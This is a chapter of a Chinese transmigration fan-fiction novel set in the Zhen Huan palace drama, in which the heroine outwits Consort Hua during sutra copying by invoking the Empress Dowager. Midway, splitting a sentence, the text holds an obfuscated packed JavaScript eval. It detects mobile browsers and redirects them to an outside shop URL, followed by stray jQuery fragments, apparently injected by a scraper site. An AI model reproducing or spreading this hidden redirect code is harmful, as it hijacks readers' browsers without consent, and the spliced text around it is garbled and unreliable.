终于抄完一卷,白藏揉了揉手腕,在心中第N次骂那个狗男人。
她会有这份折磨,都是那个狗男人的错。
别人不能雄起,就算了,但你都做皇帝了,你倒是雄起呀,好歹学学正史上的雍正爷呀。
骂完人又默默的在心中把系统给打开,看着只有自己能看到的面板。
白藏又暗戳戳的点了两下。
赶紧的麻溜的,华妃能不能忙起来,就靠你了。
其实她也是有办法哄华妃的,与其交好的只不过这样一来的话,容易被打入华妃一派。
这宫中可不止皇后对华妃不满,那老登皇帝可是也怕华妃太过一家独大,这才一早就提携了沈眉庄,后来又加入甄嬛进去,希望能够制衡这宫中局面的。
不止皇后不希望这后宫一家独大,哪怕是皇帝太后也不希望。
说到这个就又生气了,暗戳戳的把手下的字当成老登了,一笔一划狠狠的戳着。
在朝堂玩帝王之术,在后宫还玩帝王之术,以后要是儿子多了,还得再玩帝王之术。
她这种小市民的性子,怎么就穿到甄嬛里面了,还当了秀女,当了皇帝老儿的女人了。
真希望时光能够回流,想个办法落选,无论是嫁给哪个年龄相当的人,她都能把日子过好,当家夫人她不香吗?
心里生气,手下下笔没轻没重的,这一张宣纸又废了。
华妃抬着眸子看过来,正巧瞧见白藏把废了的宣纸,放在一边。
“玉贵人,这抄写经书这一来是为了给太后过寿,这二来也是想要你们静下心,这怎的又抄坏了一张。”
“娘娘容禀,嫔妾近日小日子快到了,有些心浮气躁了。”
华妃对着账本子,斜着眼看去。
“原是身子不适,倒也情有可原。只是太后寿诞近在眼前,抄经最重诚心静气,这般心浮气躁,笔墨都带着戾气,岂不是亵渎了佛祖。”
华妃对着账本子,又斜眼瞥了眼,漫不经心道:“本宫知道你们小姑娘家身子娇气,可宫里的规矩,从不是娇气二字能搪塞的。”
好想怼好想怼,忍住忍住忍了那么多天了,不能白费,沉没成本沉没成本啊!
“娘娘说的是,只是身体上的事,嫔妾也做不了主。不过佛祖和太后她老人家,都是慈悲为怀,宽厚仁和必不会怪罪嫔妾的。”
唉,还是没忍住。
“哼。”华妃双眸一抬,嘴角带上标志性的不屑。
“佛祖和太后他们慈悲为怀,宽厚仁和,不代表你们这些小嫔妃可以不敬。”
“多谢娘娘教诲,嫔妾自是知道这点,也曾与太后娘娘请教,太后娘娘宽和,只道偶有抄错是人之常情,太后娘娘说只要是带着诚心和孝心的,佛祖自会护佑。”
华妃双眉一竖,历目看去,“你去寿康宫给太后请安,说这些做什么?”
“回娘娘,聊天不就是说这些家常里短。”
白藏对华妃淡笑,心中对自己走的这一步棋点了个赞。
在宫中想要活得好一点,自然是有个靠山比较好,只不过这宫中三巨头,皇帝与皇后都不靠谱,也就太后稍微靠谱那么一点,她就想先打好关系,若真出了什么事,只要不是什么原则性的错误,太后看着面子情也会护之一二。
装病好了之后,便借着陪博尔济吉特贵人一起给太妃请安,毕竟这宫里还有一个和她有实在关系的惠太妃呢,再之后便是顺理成章的去拜见了太后。
再加上她额娘是钮钴禄氏的,虽说只是一个小支,但是与太后妹妹所嫁的钮钴禄一家,也勉强算是本家,沾了那么点亲戚。
这一来二去的,白藏便每五天去请安一次,陪着太后说说话。偶尔会带着自己画的花样子,请陵容帮忙绣一些,经常会用的香囊荷包帕子。
或是琢磨出一些新鲜的小吃孝敬给太后,这个分寸拿捏的很好,既不会过于谄媚,也不会让太后反感,还能显出孝心。
博尔济吉特贵人还挺喜欢与白藏一起去请安的,毕竟这些东西。除了安陵容亲手绣的那些绣品,一些新鲜的小吃,白藏会分一些给博尔济吉特贵人,让她带去孝敬宣太妃。
有着宣太妃惠太妃打底,太后还挺喜欢白藏的。
华妃眉梢一挑,“你和太后她老人家说,你在我这抄写经书了。”
“这么好的事,自然是要告诉太后娘娘的。”白藏低垂着眉头浅浅一笑,“嫔妾近日给太后娘娘请安时,都说了在华妃娘娘这里,与娘娘一起抄写经书。等到太后老人家寿辰时,嫔妾与娘娘便会呈上亲手所抄录的经书,供于宝华殿中为太后祈福。太后娘娘听了很是高兴,直夸娘娘您有孝心懂事了。”
华妃气的嗤笑一声,真是没想到啊,这个玉贵人真是好的很,居然在这儿给她挖坑。
同时心里也清楚这个玉贵人,看来是傍上了太后娘娘。
“你倒是有心,本宫本想着等太后千秋那日,给太后一个惊喜,没想到倒被你给提前戳破了。”
“娘娘这是好事,自然要让太后老人家她提前知道,好多高兴几天才是。”
说实话,她去给太后请安从来都没有避开谁,这个华妃还如此做派,她就不得不得提起太后了。她可是经常会去请安的,时不时能在太后面前给她挖坑的。
华妃之所以这么嚣张,不就是仗着太后不管事儿,太后虽然不管事,但是时机用地好的话,也会让华妃不得不规矩点。
“啪”华妃合上手中的账本,“本宫是不是还要谢谢你。”
白藏装着腼腆一笑,“这哪里好意思。”
“呵——”华妃气笑了。
还不带华妃再说什么,白藏有些不好意思的低着头。
“娘娘,明早嫔妾还要去给太后娘娘请安,不知能否请的一天假,后天再过来抄写。”
“不用了。”华妃气结,“从明个,你就不必来本宫这里抄写经书了,今儿个也不早了,回吧。”
“是嫔妾谢娘娘恩典。”
白藏一点都没扯嘴皮子,当下行了礼就撤,那裙摆翻飞间是一点留恋都没有。
沈眉庄与甄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731716|208938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嬛对视一眼,默契的抿唇一笑,继续对账本的对账本,打算盘的打算盘。
听到算盘拨弄的声音,华妃本来就气,看到他们二人更加心中来气。
“从早上到现在,这么一本账本还没算完,真是无用。”
甄嬛眉眼温顺的回话,“娘娘明鉴,后宫账目最是琐碎,一分一厘都要核对清楚,若是敷衍了事,将来出了差错,旁人少不得要议论娘娘掌事不严,嫔妾等不敢大意。”
沈眉庄指尖轻点账页,声线如往常一样平稳端庄,“臣妾只求仔细稳妥,绝不敢耽误娘娘宫中事宜。”
两人一柔一稳,句句都占着规矩本分,竟叫华妃无从发难,这不免就更气人了。
华妃心头火气更盛,柳眉倒竖。
“好两条巧舌,分明是故意磨蹭怠慢本宫,反倒说得这般冠冕堂皇!”
颂芝浑身发紧,“娘娘……”
华妃怒视二人,眼见她们一个从容淡定,一个沉稳不惊,半点惧色都无,反倒显得她这般动怒十分可笑。
她胸中郁气翻涌,厉声斥道:“既然如此仔细,今日便留在翊坤宫慢慢算,不算清楚,不准离开半步,本宫倒要看看,你们能装模作样到几时。”
甄嬛垂眸,轻轻拨弄算盘,声音轻柔中带笃定。
“嫔妾定不负娘娘所托。”
沈眉庄亦淡淡颔首,神色平静无波。
“嫔妾定会尽心。”
两人依旧不慌不忙,不卑不亢,连一丝怨怼与慌乱都无。
华妃看着她们这般气定神闲的模样,只觉得胸口堵得发闷,一口气上不来下不去,偏生半分法子也没有,只狠狠甩袖。
“盯着她们,算不完不准走!”
撂下一句话也不在小书房待着了,转身往内殿去了。
华妃在这与沈眉庄与甄嬛三人相互折磨着,白藏已回到自己的宫中,躺在软榻上可算是放松了下来。
“可算是回来了,丹若青棠快给我揉揉胳膊。”
青棠放下茶盏与丹若一同上前,帮着揉胳膊还有手腕。
“小主辛苦了。”
“今儿个可算把这事给混过去了,想来能够消停一段时间。”
青棠小心的给白藏揉着手腕,“华妃娘娘这段日子来太过分了,皇上怎么也不管管。”
“怎么管,皇上让沈贵人与莞贵人一同学习协理后宫,那华妃娘娘用这个名头教她们并无错。太后千秋在即,华妃身为妃位,让我这个小贵人替太后娘娘抄写经书,祈福这也没错。皇上能说什么,若是皇上真说了,华妃就能以‘沈贵人与莞贵人,即不堪调教’,直接把人给换下来,这可不是皇上想要的。”
说来说去不过是皇帝这老登,想要利用沈眉庄与甄嬛,来平衡后宫局势。
好在白藏给华妃挖了这个坑,让她不得不抄写经书,又不想让沈眉庄与甄嬛看到。
沈眉庄和甄嬛难得躲了个清闲,二人都是聪明之人,亦有善心懂得感恩。
这不便带着一些新鲜的点心糕点,过来景阳宫说话。